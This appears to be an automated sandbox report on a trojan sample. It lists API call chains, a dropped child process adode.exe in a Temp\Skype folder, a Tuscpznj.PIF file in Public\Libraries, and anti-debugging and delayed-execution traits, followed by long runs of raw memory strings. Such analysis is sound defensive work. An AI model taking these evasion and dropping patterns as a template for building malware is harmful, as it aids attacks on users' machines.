Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16029253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	0_2_16029253
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1603C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	0_2_1603C291
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	0_2_1602C34D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	0_2_1602BD37
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16039AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	0_2_16039AF5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	0_2_1602BB30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	0_2_1602880C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602783C FindFirstFileW,FindNextFileW,	0_2_1602783C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1606E879 FindFirstFileExA,	0_2_1606E879
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F658CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_03F658CC
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1579E879 FindFirstFileExA,	6_2_1579E879
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15759665 FindFirstFileW,FindNextFileW,FindClose,FindClose,	6_2_15759665
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15759663 FindFirstFileW,	6_2_15759663
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575783C FindFirstFileW,FindNextFileW,	6_2_1575783C
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575880C FindFirstFileW,FindNextFileW,FindClose,	6_2_1575880C
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	6_2_1575C34D
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	6_2_1575BB30
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15769AF5 FindFirstFileW,	6_2_15769AF5
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1576C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	6_2_1576C291
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EB9665 FindFirstFileW,FindNextFileW,FindClose,FindClose,	7_2_15EB9665
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EB783C FindFirstFileW,FindNextFileW,	7_2_15EB783C
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EB880C FindFirstFileW,FindNextFileW,FindClose,	7_2_15EB880C
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EBC34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	7_2_15EBC34D
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EBBB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	7_2_15EBBB30
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EC9AF5 FindFirstFileW,	7_2_15EC9AF5
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15ECC291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	7_2_15ECC291
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EFE879 FindFirstFileExA,	7_2_15EFE879

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_16027C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

0_2_16027C97

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local\Temp\Skype	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.0000000000857000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.0000000000857000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.0000000000890000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2855238771.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2776820874.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2833951374.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2794233399.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3476320911.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2844260322.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2441068745.0000000000833000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2597324711.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Tuscpznj.PIF, 00000006.00000002.2269065709.0000000000646000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
Source: Tuscpznj.PIF, 0000000A.00000002.2534967306.0000000000576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	API call chain: ExitProcess graph end node	graph_0-84580
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	API call chain: ExitProcess graph end node	graph_6-62014
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	API call chain: ExitProcess graph end node	graph_6-62015
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1605BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_1605BB22

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

0_2_1603CB50

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_160632B5 mov eax, dword ptr fs:[00000030h]	0_2_160632B5
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157932B5 mov eax, dword ptr fs:[00000030h]	6_2_157932B5
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EF32B5 mov eax, dword ptr fs:[00000030h]	7_2_15EF32B5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_16032077 GetProcessHeap,HeapFree,

0_2_16032077

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16054FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_16054FDC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1605BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_1605BB22
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16054B47 SetUnhandledExceptionFilter,	0_2_16054B47
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_160549F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_160549F9
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15784FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_15784FDC
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157849F8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_157849F8
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157849F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_157849F9
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15784B47 SetUnhandledExceptionFilter,	6_2_15784B47
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1578BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_1578BB22
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE4FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_15EE4FDC
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE49F8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_15EE49F8
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE49F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_15EE49F9
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE4B47 SetUnhandledExceptionFilter,	7_2_15EE4B47
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EEBB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_15EEBB22

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

0_2_160320F7

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_16039627 mouse_event,

0_2_16039627

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Process created: C:\Users\user\AppData\Local\Temp\Skype\adode.exe "C:\Users\user\AppData\Local\Temp\Skype\adode.exe"

Jump to behavior

Source: adode.exe, 00000004.00000003.3322895542.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3016894715.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager*.
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager/tiffII
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3344685828.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3316188466.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\bmp@
Source: adode.exe, 00000004.00000003.3820021477.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3803248848.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3823660413.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\NL"
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerJFIFimR
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerIF Code[
Source: adode.exe, 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager8(E
Source: adode.exe, 00000004.00000003.3556023895.0000000015D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\ode
Source: adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\EG
Source: adode.exe, 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4164933098.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4174702696.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\%(p
Source: adode.exe, 00000004.00000003.2711785497.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager127
Source: adode.exe, 00000004.00000003.3316188466.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager33II
Source: adode.exe, 00000004.00000003.3823660413.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3756557643.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3723052775.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerw
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagercJPEGI
Source: adode.exe, 00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3035450983.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerx
Source: adode.exe, 00000004.00000003.2814123631.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2820664570.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2817462328.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manageru
Source: adode.exe, 00000004.00000003.3703105600.0000000015D37000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3656939165.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3577679009.0000000015D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerv
Source: adode.exe, 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\BMP>
Source: adode.exe, 00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\8(E
Source: adode.exe, 00000004.00000003.2889014329.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2873140430.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2859040150.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\QQr
Source: adode.exe, 00000004.00000003.3048155809.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager\|U
Source: adode.exe, 00000004.00000003.3537714485.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3703105600.0000000015D37000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3656939165.0000000015D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager\|
Source: adode.exe, 00000004.00000003.3362065384.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager[U
Source: adode.exe, 00000004.00000003.2748112904.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2756670569.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2760453671.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managery
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3344685828.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3002901120.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\*.
Source: adode.exe, 00000004.00000003.3205805214.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3313247777.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerc
Source: adode.exe, 00000004.00000003.3537714485.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4040634493.0000000000888000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3548904309.00000000008A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: adode.exe, 00000004.00000003.3202677250.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerd
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3344685828.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3450538530.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\33II
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3344685828.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\BMP
Source: adode.exe, 00000004.00000003.2711785497.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2705096405.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2715048726.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managero
Source: adode.exe, 00000004.00000003.2748112904.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2756670569.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2760453671.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerp
Source: adode.exe, 00000004.00000003.3002901120.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3026599229.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2982370614.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\odeO
Source: adode.exe, 00000004.00000003.2814123631.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2820664570.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2803580549.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerl
Source: adode.exe, 00000004.00000003.3471196684.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3488012686.0000000015D38000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3484112720.0000000015D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerj
Source: adode.exe, 00000004.00000003.2830898187.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2814123631.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2820664570.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\"2
Source: adode.exe, 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2964456706.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerW
Source: adode.exe, 00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4149829264.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager%(p
Source: adode.exe, 00000004.00000003.3310144503.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3344685828.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3114434732.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\\|U
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3253018464.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\[U
Source: adode.exe, 00000004.00000003.2651773256.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2643273120.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2635834688.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerP@
Source: adode.exe, 00000004.00000003.3895207736.0000000000888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager[
Source: adode.exe, 00000004.00000003.3723052775.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerNL"
Source: adode.exe, 00000004.00000003.3895207736.0000000000888000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.4008449339.0000000000888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager\
Source: adode.exe, 00000004.00000003.3463355041.000000000085D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3476320911.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3480239769.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerZ
Source: adode.exe, 00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2542929865.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2464044779.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Program Manager]
Source: adode.exe, 00000004.00000003.2889014329.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2873140430.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2859040150.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\{
Source: adode.exe, 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3122208691.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerG
Source: adode.exe, 00000004.00000003.2889014329.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2873140430.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2859040150.0000000015D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\\|
Source: adode.exe, 00000004.00000003.2827587910.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerH
Source: adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerAD
Source: adode.exe, 00000004.00000003.3242979672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3249600672.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerage/bmp@
Source: adode.exe, 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager.(w
Source: adode.exe, 00000004.00000003.3166598662.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerim
Source: adode.exe, 00000004.00000003.3841222672.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3820021477.0000000000877000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3803248848.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\w
Source: adode.exe, 00000004.00000003.3021986254.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3056499496.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3051742899.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\x
Source: adode.exe, 00000004.00000003.3480239769.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3491451173.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerD
Source: adode.exe, 00000004.00000003.3214746265.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3253018464.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3161654820.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\v
Source: adode.exe, 00000004.00000003.2776820874.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2606988422.000000000085C000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2748112904.000000000085C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerB
Source: adode.exe, 00000004.00000003.3002901120.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3026599229.000000000089D000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2982370614.000000000089D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager9G\TIY
